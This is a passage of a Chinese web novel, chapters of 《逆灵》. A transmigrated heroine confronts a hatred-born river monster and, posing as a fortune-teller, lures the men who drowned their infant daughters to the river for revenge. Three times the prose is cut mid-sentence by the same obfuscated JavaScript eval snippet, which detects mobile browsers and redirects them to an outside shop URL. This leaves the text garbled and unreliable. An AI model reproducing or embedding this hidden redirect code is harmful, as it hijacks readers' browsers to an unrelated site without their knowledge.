它并非一般修真文中的魔修、魔族,而更像一种怪兽。其简介和田夫人的人物卡一样简短,配了几张五毛特效的怪物图,一看就没花多少经费。 毕竟,它们也只是男主成长路上的小小道具罢了,长什么样都不重要,能吃人就行了。 但这对吴迪很重要啊!因为她就是那个被吃的人。 她赶紧去搜寻原主记忆。可惜,原主记忆里,师尊没怎么讲过魔,各宗门也很少有人提起它们,大概是因为比起种种精怪鬼魅,魔数量稀少,不成气候,所以长期以来修真界对其不甚重视。 好吧,这下逻辑讲得通了,或许就是因为这种漠视,当魔物忽然出现,所有人都毫无防备,酿成了整个艾蝻县被血洗的惨剧。 电影设计这场灾难,完全是为了上演一出悲情母爱戏并成就男主的觉醒,但至于为什么全县一起陪葬——呃,这大概是金针奖编剧烘托气氛的手法吧。 吴迪倒是觉得帮那些成天喝尿的NPC角色解脱也是功德,就是不知钱家那个聪明小女孩会不会罹难。剧本没说,毕竟只是个小龙套而已,没人在意她的结局。 她忽然又想起了那个困惑已久的问题——自己这个角色,以及和这个角色相关的一切,都显得那么不重要,那为什么冲刺百亿票房的任务要绑定她,而不是肖凋等重要角色呢? 想到这些破事,吃火锅的乐趣都没了。好在她也吃得很饱了,遂灭了火,拍着肚皮,走到门外去散心。 没走几步,迎面遇见张婶,包着头巾,手提罐子。吴迪不想跟她说话,背过身去假装没看见。 但张婶已看到她了:“田嫂!” 吴迪只得转过头来,挤出笑容:“我说,可以叫我……” “我刚看到你家田厉在路边撒尿!” “啊?”吴迪一愣,“我马上就去收拾他,不好意思——” “撒在路边多浪费啊,下次拿个壶给他接一下吧,卖给我!”张婶笑着晃晃手里的罐子,“省得我还要走远路去李妈家里接。” 吴迪赶紧退后几步,差点吐出来。 不要把你的尿瓶晃来晃去的好吧!我才吃了饭啊大姐! 张婶浑然不觉,还在向她靠近:“你家小厉厉好能干啊,撒尿都撒那么远,一看将来就是有出息的!” 这有什么能干的啊?你咋不夸他居然会呼吸呢!太吓人了,这些人脑子绝对坏掉了吧,尿素的毐性这么大的吗? “我还有事,先走了。”吴迪赶紧撤退。 “诶,等等啊,你儿子撒完尿……” “不用跟我描述男童的排泄了,再见。” “……好像想跟肖家哥儿去河边,幸好肖家姐夫看到他们,把他们带去县里玩了。田嫂,这你可得管管啊,最近河边不是有鬼火么,让孩子当心点。” 鬼火?吴迪一脸茫然。 张婶道:“你没听说?前几天天快黑的时候,李家大伯子在河边草丛里拉屎,看到远处有火光一闪一闪的,他本来还以为是其他蹲坑的人在抽旱烟,没想到那团火越飘越近,吓得他裤子都没穿就跑了,屁股上全是……” “别讲了好吗!这个县到底有多龌龊啊,天地大厕所是吧!” 吴迪掩耳跑路,走出几步,却听张婶还在说:“春天县里有好几个人失踪,现在还没找到,会不会就是被这鬼火害了啊。” 吴迪停住脚步。 “谁失踪了?” “诶,这么大的事你不知道?赵大叔、钱三哥、孙二郎、铁柱爹……还有好几个,之前有人说是被北方蛮人抓壮丁了,如今看来……不会是被鬼吃了吧?” 如此明显的怪兽片标配NPC提示语,吴迪要是再看不懂,也白瞎了她穿越前才看过的《夺命N头鲨》系列了。她立即回家拿起“未命名”大宝剑,向河边走去。 艾蝻县处处肮脏,但这条河是从雪山那边流过来的,还算清澈。吴迪走到河边时,夕阳西下,给河面洒上一层金粉,河边芦苇有一人高,在晚风中摇曳,倒是一片静谧景象。 但吴迪可不敢直奔美景。在这草丛中走,要步步小心,避免踩到低素质人群留下的“地雷”。 正是夏天,蚊虫成团,在耳边嗡嗡。那些随地大小便的畜生,屁股是铁打的么,这不得被叮成癞疙宝? 幸好吴迪如今已是筑基之体,蚊虫不敢叮咬。但它们仍徘徊在她身旁,她举手一挥,将其赶走,方得清净。 而就在这挥手的一瞬间,她眼角忽然瞥到一点亮光。 那亮光转瞬即逝,但吴迪看得分明——那是最常见的火系功法“炎爆术”所产生的火花,有修士在附近! 不会是这个人杀了县民吧? 她赶紧向着火花出现的芦苇丛走去,但那里什么也没有,只有流水的潺潺声。 吴迪停住不动,谨慎地观察着四周。 不对,有点不对……太平静了,甚至连蚊虫也没有了。 这芦苇丛中有东西。 吴迪猛然拔出“未命名”,将芦苇丛拨开。果然,有一团稍大的火焰藏在其中。芦苇茂盛,它浮于其间,却一点点都没有燎到叶片,可见施法者技艺娴熟,控制力很强。 这火焰好像活物一般,被人发现,就惊慌地逃窜起来,快速飞向河流对岸。 以吴迪现在的修为,拦截它易如反掌。但她没有这么做,只是从容地跟在后面。 她倒想看看,它要逃到什么地方去。 她飞身而起,渡过河水。那火焰像是没料到她有这本事,更惊慌了,东躲西藏,无处可避,最后竟“噗”地一声,钻入水里,消失无痕。 吴迪站在水边,俯身向下看去—— 忽然,她反手掐诀,指向身后的树枝。 她才不会蠢到去探河水呢,只是逗那个操纵火焰的人玩。她早就察觉到那人的藏身之处了,正是在身后的那株大树上。 这人有几分本事,对火的控制非常娴熟。但吴迪的神识能探到对方灵力不高,好比泥头车老司机只有卡丁车可以开,车技再高,也没啥战斗力。 果然,只是略微运风摇动树干,树上就传来一声惊叫。吴迪冷笑:“出来吧,别躲了!” 树干后探出一个脑袋,人类的脑袋,圆圆的,扎着双髻,竟是钱大小姐。 “喂,小鬼,你在这干什么?”吴迪抱臂仰视着她,“你还会上树啊?” 女孩撇嘴道:“你还会法术啊?” “哈,你别小看我,有些人表面是废柴阿姨,实际是修真天才哦。快下来,跟阿姨交流交流。” “我不要。”女孩反倒向后一缩,眼中露出警惕。 吴迪一眼看出小女孩的心思,悠然道:“放心,我不会告诉你娘你偷偷在这练功的,我还可以帮你作伪证哦,阿姨除了是修真的天才,也是说谎的天才哦。你下来,我就教你我的说谎秘诀,包骗过,不过你找我。” 小女孩不可置信地看着她,像是从没见过这么没道德的大人。 “大人的世界就是这么复杂的。”吴迪大言不惭,“快点吧,要不待会被来排泄的家伙看到了,就要告诉你娘你偷跑到河边玩,还跟一个人贩子一样的老阿姨在一起,你以后还溜得出来么?” “你也知道你像人贩子啊!”女孩想了想,从树枝上轻巧跳下,“好了好了,没什么,我就是自己练练火系功法。” “你是水火双灵根?” 女孩无奈地叹口气:“是。但我娘和师父只让我学水系功法。” “哦?这是为何?” “说是水系适合女孩子。” “搞笑吧,哪一系的功法不适合女孩子?女孩子学什么都很适合啊!” “我就说嘛。”女孩连连点头,“但我娘说,火系太危险了,要是一不小心烧伤了,爆炸了,那可就糟了。其实我自己还是更喜欢火系,危险又怎样,我就想要威力大!” 吴迪笑而不语。 女孩期冀地仰视着她:“你也这么觉得吧?那天在我家瓷器店,你说‘真正的高手,不弄这些’,你是不是也想说学那些凝冰术之类的没什么用?” 吴迪摇头:“不不不,你误会了,不是说水没有火威力大,只是凝那么一枝精巧的冰梅花,需要消耗很多灵力吧?平时用来锻炼一下控制力倒还好,但没必要花太多心思去学。你想,真正战斗的时候,谁会浪费许多灵力去弄个华丽的冰刃?难道还要敌人夸它好看啊?大道至简,其实……” 她说到一半,打住了。 女孩接话:“只需要冰刃足够锋利就可以了?” “唔……对。”吴迪本想说,人的血管、细胞里都是水,凝冰术的用法其实可以非常简单粗暴。但想想这场面有点少儿不宜,就没再多说。 “所以啊,任何功法都有很大威力,关键看怎么用啦。天道平衡,五行相生相克,就没有什么水、木温柔,金、火暴烈的说法。” 女孩恍然:“原来如此!好,我要说给我娘听,火也不比水更危险,让她同意我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033095|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学火系功法!” 吴迪哭笑不得,孩子太好学也蛮令人头疼的,居然为了自学偷跑到河边来,她娘知道了不知作何感想。 “学习的事以后慢慢说吧。快回家咯,你知不知道这河边最近失踪了许多人啊?” “啊?” “呵呵,当心点吧,搞不好这河里有水鬼抓交替,或者真有人贩子。你又不是什么电影主角之类的,没有光环护体,还是别一个人出来啦。” “我不是一个人,我有朋友保护我。” “什么朋友?” “不就在你背后吗。” 夕阳的光迅速隐没,有什么东西从身后投下巨大的阴影。吴迪脊背发僵,慢慢回过头去。 一条巨鱼竖起半个身子,虎视眈眈地看着她。那东西的脑袋有泥头车车头那么大,浑身黑色鳞片凹凸不平,边缘锋利,剑拔弩张。 “啊!”吴迪还没反应过来,那怪物已一口咬住她衣角,把她往水里拖去。 钱大小姐惊叫:“娃娃鱼,别这样,她不是人贩子!” “……人、贩、子。”怪物重复一遍,劲头更大了。 吴迪在水里呛了个半死,好不容易挣出水面,又听见钱大小姐说:“快住手呀,你会把人淹死的!” “……淹、死。”怪物心领神会,再次将吴迪拖向水底。 “闭嘴啊!”吴迪气急败坏,“你没发现它只能听进去最后一个词吗——” 她又沉入河中,还好这次提前屏住呼吸,没有呛水。趁怪物在水底横冲直撞,她打算截掉衣角悄悄跑路,不料,怪物还有点灵智,发现她的意图,竟主动松开嘴,发出一声怒叫! 如有千万个婴儿一齐啼哭,强悍的声波直击心底,让吴迪的神识都刹那空白。 她大惊,不假思索,拔出佩剑,狠狠刺入怪物下颌—— 蓝色的血涌出,像墨汁在水中氤氲。怪物再次嚎叫,但吴迪却听不清了。因为周围的温度好像在急剧下降,如一只冰凉的手扼住了咽喉,窒息感翻涌而来。 那是寒意,是恐惧,更是…… 浓重的仇恨。 朦胧的光。饥饿灌满肚肠,冷水挤破胸腔。鸟雀的喙,叽叽喳喳。老鼠的牙,吱吱嘎嘎。鱼湿漉漉的嘴,啪嗒啪嗒。铁钉的锈味,拧断细小骨头的声音,咔嚓咔嚓。 无数种幻觉像一支嘉年华队伍般冲进脑海,敲锣打鼓。刚刚还一片空白的神识,此刻如灯光大亮的电影院,台下坐满带着诡异笑容的观众,荧幕上播放着疯癫的影片。在这疯狂的景象中,吴迪茫然四顾,忽然发现一丛莲花状的火焰。她不管不顾地向火焰扑去,将那团温暖揽入怀中,就在肌肤感到灼痛的那一刻,她猛然坠落,陷入荧幕,极速远离了那癫狂的影院—— 流火覆体! 她成功使出《婋奾宝典》第二层的法术,薄焰贴身流转,凡间之水不得侵入。怪物的蓝血散开了,水与火交融之处,弥散着幽幽紫光。 怪物被神火惊吓,当即甩动鱼尾,游走而逃。吴迪浮出水面,收起神火,深吸几口气,喊道:“等等!” 怪物可不会听话。转瞬之间,它已顺流而下,逃出几百米。吴迪只得飞身而起,看准时机,落在它的脊背上,抱住那嶙峋的背鳍。 “娃娃鱼,你是不是叫娃娃鱼?” 指令正确。魔物一个急刹车,差点把她甩出去。 “娃、娃、鱼……”它还是只会重复。 这智商,的确也跟小娃娃差不多。 吴迪松了口气,说:“恨?” “……恨,恨!”娃娃鱼咆哮起来,猛然又竖起半个身子,摇晃一阵,重重跌回水里,“好、恨、呀!” 吴迪死死抱着背鳍。因为不想再惊吓到娃娃鱼,她没再用神火蔽体,不知不觉被那尖锐骨刺划破了手心。她已经知道了它的恨,也由此猜到了魔物的本质。 魔物,是由恨意凝结而成,其技能类似于一种精神控制。 吴迪当然可以直接烧掉它,但本着“治本”的精神,她更愿意烧掉恨意的源头。 “娃娃鱼,你听我讲。”她轻拍魔物的背,语气柔和,“我,懂你。你,别怕。恨,可报。” “报、报……”魔物的声音渐渐尖锐,“杀、杀、杀光!” 转瞬间,千万个婴儿的哭啼又响起,在河水中激起阵阵涟漪。吴迪没有掩耳,任这声音冲击着耳膜,面色冷峻。 这河边,除了有畜生随地大小便,还发生过很多更龌龊的事吧。 是时候清理一下了。 7. 《逆灵》07 当夕阳最后一丝光线沉入远山,女人骑在巨鱼背上,回到了岸边。 小女孩已急得泪光闪闪,看见她们回来,一抹眼泪,跳起来叫道:“你们没事吧!” 吴迪从巨鱼背上跳下,涉水走来。“没事,你朋友带我兜个风而已。它跟我说了,它已经有别的好朋友了,从此跟你绝交,叫你以后别来河边了,再见。” “这完全是你现编的吧!”女孩抬头看她,但天色已黑,看不清楚。吴迪把手上的血在衣服上擦擦,一把拽住她,飞到河对岸。 “胆挺大的啊,怎么溜出家门的,怎么过河的,怎么发现这怪物的,给我好好交代。”女人拎着女孩,像拎着一只张牙舞爪的猫。 “放开啊!你这人贩子!”女孩挣扎一阵,发现斗不过身强力壮的阿姨,只好放弃,“不是怪物,是娃娃鱼,它很好的!” “是很好,一个鱼头可以煮十桌鱼头火锅了。” “喂,别这么说啊!它可不是一般的鱼,只有它……只有它最懂我……” 女孩说着,低下了头。 ###小剧场·《我的朋友娃娃鱼》### “气死我啦!”我用力把石子扔进河里,石子在水面上跳了好几下。今天又被娘亲逼着学做冰花,我一点都不喜欢! 我偷偷学会了变小火苗的本领,可是怎么练都只能变出一丁点火星。我不服气,一直练啊练,突然“砰”的一声,我的手心里开出一朵小火苗! 就在这时,一阵风吹来,火苗飘到了芦苇丛里。哎呀不好!芦苇烧起来了!我急得直跺脚,突然河里“哗”地喷出一道水柱,把火浇灭了。 一条大黑鱼从水里冒出来,它的眼睛圆圆的像窗户那么大,十分可爱。 我小声说:“谢谢你。”大黑鱼甩甩尾巴,溅起好多水花。 从那天起,我和大黑鱼成了好朋友。我练习变火苗,它就在旁边喷水玩。有时候,它还驮着我在河里游,它游得好快好快,风呼啦啦的吹,吹走我的歌声。我们可开心啦! 有几次,我们还用火苗吓跑过坏蛋呢!看着他们逃跑的样子,我笑得在树上打滚,大黑鱼在水里吐泡泡。 这就是我和大黑鱼的神奇友谊,就像水与火,看似不同,却能碰撞出最美的景色! ###终### 听了女孩的故事,吴迪摸着下巴,陷入沉思。 “普通的水与火碰撞只能熄灭吧,除非是神火和冥水。以你俩的修为,应该碰撞不出‘最美的景色’,只能碰撞出一场热水澡……” 女孩一愣:“你在关注些什么啊!你不觉得很感动吗?” “阿姨早就过了被这种小作文感动的年龄了好吗,阿姨是额叶发育完全,冷酷无情的中年人了。” 女孩气得跺脚,愤然加快脚步,向远处的河堤走去。 一团炽热的火忽然照亮前方的路,女人的声音从背后传来:“快走吧,15秒就能讲清楚的事情,非得给我讲到月亮都出来了!记住了,3秒没抓住低俗观众的心,他们就划走了哦,应该这么开始:注意看,这条怪鱼非常恐怖……” “不要再骂娃娃鱼了!”女孩本来被那朵状如红莲的火焰震撼到了,想向吴迪讨教,结果被她这么一通胡说八道,倒不知从何开口了。她气鼓鼓地,又向前走出一段,这才想起另一件重要的事。 “啊,月亮都出来了……” 今天出来得太久了,母亲,会不会已经回家了? 她顿时寒毛直竖。 “那个……”女孩回过头来,见女人还站在芦苇丛下的阴影中,没有走开。 “又要干嘛呀小鬼,走路不要东张西望的,待会踩到什么不得了的东西就糟糕了,好好看路啊。” 女孩咬咬嘴唇:“你还没有教我说谎秘诀。” 吴迪烦躁地揉揉头发,这小鬼,真难缠啊! “好吧好吧,那就将我的毕生绝学传授于你,听好了——说谎的关键,是不要说假话。” “啊?谎言不就是假话嘛?” “这个叫逆向思维。最高级的谎言,恰好不是假话。” “什么意思……” “笨死了。好吧,给你举点例子。小美问小帅是不是和老白去吃饭了,小帅说没有,因为他俩是去吃面了。小帅哭诉说他最爱的女人跟哥哥在一起了,实际是他自己喜欢上嫂子了。老白吃了西瓜,乱扔西瓜皮,结果踩到西瓜皮滑到马路中间被泥头车创死了,老白家属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033096|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就大闹瓜摊,说老白出门还好好的,都是因为吃了摊主的西瓜才死的。” 女孩听了,琢磨良久,若有所悟:“第一个,是隐瞒了部分事实;第二个,是让人误解事实发生的顺序;第三个,是把事实的细节省略了……那我娘要是问我去哪了,我就说……我本想出门散散心,结果又遇到了田厉他娘,她跟我说了一大堆听不懂的话,我们拉扯了很久才分开,就回来晚了。是这样么?” “喂,不是让你牵涉到我身上啊你这小鬼!” “谢谢!我学会了!”女孩一鞠躬,“再会呀,田……我叫你什么比较好呢?” “吴迪。你叫什么?” “我叫钱徽文。告辞啦,天下无敌的谎言天才!” “等等,不是那个‘无敌’啊……” 话没说完,那小小的身影已奔入河堤上的灯火中。吴迪无奈笑笑,熄灭护送她的神火,走出黑暗的遮蔽。 她脱掉浸了魔物蓝血的外衣,胡乱擦去脸上的血污,拔出“未命名”,想裁下一截布料,简单包扎一下手心的伤口。 剑出鞘的一瞬,一道蓝色幽光从刃上流淌而过。她一怔,感到这把剑和以前不一样了。 是因为沾了娃娃鱼的血吧?带着恨意的血,似乎比一般灵剑所带的灵力更加生猛,杀气腾腾。 她伸出手指,轻触剑刃,蓝色幽光顺着刃纹流过来,触到指尖的一刹,那种冰冷窒息的感觉又来了。但吴迪已对这情绪有了理解,所以不再受它影响,她只是静静地凝视着蓝光,过了一会儿,它似乎有所感应,悄然退去了。 吴迪裁了布料,收剑入鞘,然后遥遥对着河水说话:“喂,笨鱼!以后别缠着小孩了,有事让我们大人帮你解决,知道了么?” 黑暗深处,传来几声低沉的咕噜。 “说你笨,可别不服气啊。你这样守株待兔,一个个杀,得到猴年马月才能报完仇?等我几天,看我的。” 河里没有动静。 “放心,不会让你的小朋友知道你的真面目。” 终于,河里响起一阵哗啦啦的水声,似乎有什么巨大的东西沉没了。 吴迪微微一笑,扛起吸食了魔血的“未命名”,向堤岸走去。 8. 《逆灵》08 如果说,说谎的第一招是将真实事件进行筛选重组,那么第二招就是讲一些泛泛而谈,似是而非的话。 当郑耀祖走进那挂着“老兵神算”招牌的小摊之时,他并没有意识到这点。 这个摊是突然出现在街角的,掀开外面的青帐,里面仅摆着一桌一椅,一个戴着狐狸面具的算命先生坐在桌后,优哉游哉地摇着蒲扇。 见那大师只穿一身宽大布袍,过于俭素,摇扇子的姿态又显得有些懒散,郑耀祖就迟疑了。但刚要走,面具下传来一声低笑:“别走啊,随便看看,不要钱的。” 大师的声音倒是温润清亮,雌雄莫辨,很有魅力。关键是说起不要钱,郑耀祖就没什么好犹豫了。他当即坐下,伸出手掌:“手相会看么?” “当然会了。”大师放了扇子,拿起郑耀祖的手看了一回,说:“你是一个有志向的人,只是还在等待时机。” 郑耀祖一颤。 “你身边无人理解你的志向,尤其是身边的女人都不懂你,你常常感到曲高和寡。” “啊,准,真准!” “家庭拖累了你,不然,你早就一展宏图。只因你太重情义,抛不下家室,承担了太多,才不得不放下了梦想。” “对,对,就是这样的,继续?” “你是重情之人,命中桃花不少,迟早会遇到懂你的红颜知己。” “重情倒是真的,只是,桃花这个……” “桃花未行是吧?嗯,仔细一看,你的天纹有点怪异啊,哦,不止天纹,很多纹都有阴影,近年诸事不顺吧?唉……” 大师沉吟不语。 “怎么了?” “唉,本来很好的命格,可惜,可惜!” 郑耀祖被这两个“可惜”砸得心惊肉跳。 “大师,到底怎么了啊大师!但说无妨,我不忌讳的!” “唉,似是小鬼作祟,阻你运数,家中是不是有早夭孩童啊?” 郑耀祖大惊,对大师已是佩服得五体投地。 “不瞒大师,在下曾经两年连生三个女儿,生了老三,老婆哭着说不想要,送又送不出去,只能扔河里了。这事都过去十年了,应该不要紧吧?” 大师的手猛然用力,力道之大,让郑耀祖差点叫出声。他这才发现,大师手掌粗糙,像城北张屠夫常年拿刀的手一样,莫非那招牌上“老兵”二字,不是什么别号,就是字面意义上的老兵吗? 他猛然抬头,狐狸面具后那双原本懒散的眼睛,忽然变得很可怕,有点像、有点像什么吃人的野兽…… 但这只是一眨眼的事。当郑耀祖定睛再看,大师仍是懒散的模样,手背的力道也消失了,刚才的一切,似乎只是幻觉。 大师的声音依然温润:“这事呢,其实也没啥,顶多折点阳寿破点财而已,依我看,就顺其自然吧。” 郑耀祖一愣,回到现实:“‘而已’?都这样了还‘而已’?大师,你算得太准了,难怪我这几年诸事不顺!生意老赔本,儿子老生病,你快告诉我,这小鬼怎样才能赶走,我必有报答!” 大师把扇子往桌上一拍,空中竟炸出几个火星来,差点燎了郑耀祖所剩不多的头发:“这叫什么话?说了不收钱,谁要你报答?再说了,你一介凡人,能报答我什么?” “是、是,”郑耀祖身子后仰,冷汗直冒,“在下唐突了。但是,大师,能不能求你帮帮我……” “我们修士,又不是普渡众生的神。我们讲究一个断欲去爱,对凡界因果,只观察,不干涉。” “啊?可是,可是你们不也捉鬼降魔吗?大师,求求了,遇到了就是缘分,我上有老下有小,是家里的顶梁柱呢,你就救我一把好吗?” 郑耀祖千求万求,说得口干舌燥,大师被他缠不过,叹了口气,拿起蒲扇,潇洒地挥挥:“这样吧,看你不容易,我就偶尔破个戒。本月十五夜半,我正好要在河边祭祀河神,你带一挂纸钱、一壶灯油过来找我,我顺便与你禳解一下。” “多谢,多谢!但……” “又怎么啦?” “大师初来本县,可能还不知道,本县河边最近常有鬼火,有好几人失踪。到河边去,是否会……” 大师淡然道:“不妨事,我知道那是怎么回事。不过是一伙流贼故弄玄虚,劫持县民,太守大人已将其抓捕归案,不日就会宣布的。” 狐狸面具后的眼睛,有意无意地瞟向帐幔一角。郑耀祖跟着看过去,这才发现压帐的是一个眼熟的东西——仔细一想,这不是太守马车上的那种金铃吗! 太守才有的东西,竟然出现在大师这里,可见大师必是太守的贵客了。郑耀祖顿时又多了几分崇敬。 “对了,此事你自己心知就好,千万不可泄露于人,否则,被小鬼知晓了……” “明白,明白!多谢叮嘱,我这就回家准备东西!” 男人千恩万谢地走了。青布帐里,吴迪收起笑容,面色阴沉,提笔在账簿上记了一横。 一竖,一横,又一竖……七天里,神算子的名声在县里暗中流传。吴迪重复着同样的话术,听着同样的回答。唯一的差别是,有的说是老婆主使,有的说是母亲命令,总之,他们自己永远无辜。 “家母实在想抱孙子,只能听她的。” “贱内就喜欢儿子,我也没办法。” “啊,拙劣的谎言,不及格。”吴迪数了数账簿上的二十个“正”字,用朱笔画上一个大叉,准备收工回家。 恰在此时,青布帐又被人掀起,这次,进来的是个女人,衣饰华丽,神色严肃。 哟哟,这不是钱夫人吗?她这样的精明人,也像那些蠢货一样相信街头问卦啊? 吴迪马上申明:“本店只看男命。” 女人却置若罔闻,拉开竹椅径直坐下,一双凤眼直直地看向她,像要刺破那张面具。 “吴大师自己是女身,为何只看男命?” 好吧,果然是来踢馆的,这位大姐,你调查我很久了吧! 吴迪索性摘了面具,笑意盈盈,直视对方。 “娘子要问什么啊?我帮你看看。” “问子女。” “哦哦,子女怎么了呢?” “越来越叛逆,一个人偷跑出去玩,好像结交了什么奇怪的朋友,喜欢玩火,还跟一个江湖骗子学会撒谎了。” “啊?哈哈,哈哈哈。”江湖骗子尬笑着,“好严重啊。” 没有什么说谎秘诀可以骗过老妈,尤其是这样一个精明又护崽的母亲。不过看样子她还没查出娃娃鱼的本尊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴迪却一脸淡然:“啊,凡俗的生活就不危险么?那些难产的女人,也经常惨叫三天而亡呢。被老公打得骨头像烤鱼一样脆的女人,更是比走火入魔的修士多千万倍呢。世人总是告诉女孩子,玩火危险,走夜路危险,一个人出门玩危险,但真正最危险的事情,他们却闭口不提,甚至啊,还要反过来将其美化为幸福,塑造成人生的必需,不是么?” 分明是仲夏下午,街巷热浪滚滚,但这靑帐里却似乎有寒意萦绕,让人想点燃烈火,将其驱散。 “这世界让女人远离战斗、烈火、刀剑,真的是因为太爱女人了吗?依我看,害怕玩火,比玩火本身更危险呢。”吴迪拿起蒲扇,懒懒散散地摇,“危险啊,危险。野鹤天天面对野兽,家鸡有主人保护,到底哪个才是真正的危险?” 沉默笼罩了青帐,耳畔是街市的车马声,人潮声。良久,钱夫人严肃的脸上露出一丝笑意。 “不料你竟有这般见识。” “喂喂,什么意思,瞧不起人吗?”吴迪拿扇子指向她,“我告诉你,一个个的别以为我没文化,本大师就算只有初中学历,在生存方面也是博导级别啊!聪不聪明跟读书多少没有直接关系的,如果脑子里输入的都是金针奖剧本那还不如阅读社会这本大书对吗!” “别跟我胡扯。”女人正色,“不管怎样,我女儿在外面交了什么朋友,我还是要搞清楚的。” “这个啊,恕我不能出卖小朋友的秘密。” 女人摸出一锭硕大的金元宝,轻轻放在桌上。 江湖骗子马上改口:“好的,十五夜半,你若看到河边有火光,就带徽文过来,我让你们见面。” “这么神秘,不会是什么惹不得的贵人吧?”女人早已看到压帐的金铃,这会儿毫不掩饰地看向它。 嘿嘿,确实很“贵”,一个鱼头就能开十桌火锅,只是并非“人”。吴迪笑而不语,一挥扇子:“来了你就知道啦!注意,一定要守时哦。” 9. 《逆灵》09 仲夏十五,月圆之夜。本该是赏月的良辰,但阴云密布,遮蔽了月光。 郑耀祖拎着一挂纸钱、一桶灯油,如约来到河边。 夏季芦苇茂盛,蚊虫成堆。虽然带了灯笼,但在浓郁得化不开的黑暗中,灯笼的光线只能照亮一点儿距离。他小心翼翼地挪步,一路驱赶蚊子,打草防蛇,心中又是发怵,又是焦躁。 “大师怎么选这么个时辰啊……黑灯瞎火的,该不会遇上……咳,怎么像个女人一样,不就是走夜路,有什么好怕?别想了别想了,待会儿让人看了笑话!” 想到自己是个男子汉,他顿时壮起胆子,觉得黑沉沉的芦苇丛也没什么好怕了。他只是专注看路,再不想其他东西—— “啊!!!” 他撞上了一个热乎乎的物事,跌倒在地,把灯笼扔出老远。那物事也鬼叫起来,两个叫了半天,才发现对方也是人。 郑耀祖爬起来,拍着胸口:“有病吧,你谁啊!” “诶,是郑大叔么?”那人听出声音,松了口气,“是我啊,王八哥。” “哦,原来是你——大半夜的,你在这儿干嘛?” 王八哥嘿嘿笑了几声:“来、来拉屎啊。吓着你了,真不好意思。” 郑耀祖一愣,矢口否认:“你几时见我被吓到?我也只是来撒个尿,呵呵。” “哈哈哈好巧啊,那你撒完,赶紧回家吧。” 王八哥说着,捡起地上的灯笼,向着快灭掉的微光吹了口气,火光又亮堂起来。这一亮,竟照出好几张人脸。 “啊!!!”两人又是一声鬼叫。随即才反应过来,这都是县里熟人的面孔。 那些人从四面八方走过来,互相尬笑着打招呼。 “嘿嘿,你也来拉屎啊?” “对啊对啊,怎么,你也有在家拉不出来的问题吗?” “是啊,只有在明月清风下,才能畅快地排泄啊。” “可不是嘛,你看我还拎了个桶,就是为了把肥料搜集起来,带回家浇菜园子,哈哈哈。” “……” 众人看着彼此手中的纸钱和桶罐,沉默了一阵。 “老实说,你们是不是被骗过来的?” “是不是有个大师跟你们说来这里等他?” “……” 又是一阵沉默。 “喂,兄弟们,到底有多少人啊?” 零零散散的灯笼从芦苇荡中举起,一眼望去,竟有数十之多。 “嘻嘻。”一个笑声响起。 “什么声音?”郑耀祖本就胆怯,一听此声,更是寒毛直竖。因为这声音像是许多孩童的合声,更诡异的是,它是从深黑的河道那边传来的…… “嘻嘻。”这次,笑声更清晰了。 接着,是哗啦啦的水声,有什么东西出水了,而且,似乎非常巨大。 黑暗中,亮起两盏幽蓝的灯——不,不是灯,那是动物的眼睛,其中的瞳孔清晰可见,正凝望着他们。 虎视眈眈。 由于看不见远处的景物,所以无法判断这双眼睛有多大。但众人好歹知道,他们离河道至少有十丈之遥,而那蓝色圆形看起来仍与大餐盘相仿,那么,那怪物的体型…… 真是想想就惊悚! 男人们拔腿就跑。 四周芦苇足有一人高,恍若迷宫。郑耀祖跌跌撞撞,晕头转向,好不容易找到来时的路,绕出草丛,却被眼前的景象吓呆了。 一堵火墙包围着苇塘,阻断了去路。那火焰熊熊燃烧,张牙舞爪,但最诡异的是,它是紫色的,一种凡间罕见的明艳之紫。 鬼火。他想起了这个词。 更恐怖的是,在妖冶的紫光下,立着一个人形,明晦光影交叠于其身,不知是人是鬼。 那人影忽然一动,吓得郑耀祖尖叫一声。 “你、你别过来啊——”他徒劳地晃着手中的灯笼。 对方轻笑一声,走近几步。恰在此时,月亮冲破云层,投下清冷惨白的光,和鬼火的紫光一起,照在来人脸上。 那是一张熟悉的狐狸面具。但在此时,原本滑稽懒散的狐狸脸,却显得格外诡异。 “大、大师?……”郑耀祖小声唤道。 大师不说话,一步步向他走近。郑耀祖看见,大师肩头随意地扛着什么东西,像是一把刀剑? 一步,又一步。扛剑之人越来越近,压迫感实在太强太强。郑耀祖想跑,但四周都是鬼火,无路可逃。正在慌乱,大师忽然停住脚步。 他伸手揭下了面具。 不,这是——她。 纵然是在朦胧的光线下,郑耀祖也能认出这是女人的脸。一个美貌的女人,只可惜不会打扮,不修边幅,白白埋没了姿色…… 他骤然放松:“嘿,你究竟是什么人?” 极度紧张后的极度放松,竟带来一股强烈的刺激——这小娘子一番做作,邀自己深夜来此,该不会,是有什么想法吧? 咳,有话直说便是,何必故弄玄虚? “诶,不是早就告诉你了吗,我是老兵啊。”女人看着他,眼神中是冰冷的戏谑。 还未等郑耀祖理解那眼神的意思,女人把剑从肩上放下,轻松地拔出,那剑刃上流淌的妖异蓝光,让郑耀祖回过神来,意识到自己仍在危险之中。 “你要干什——啊!” 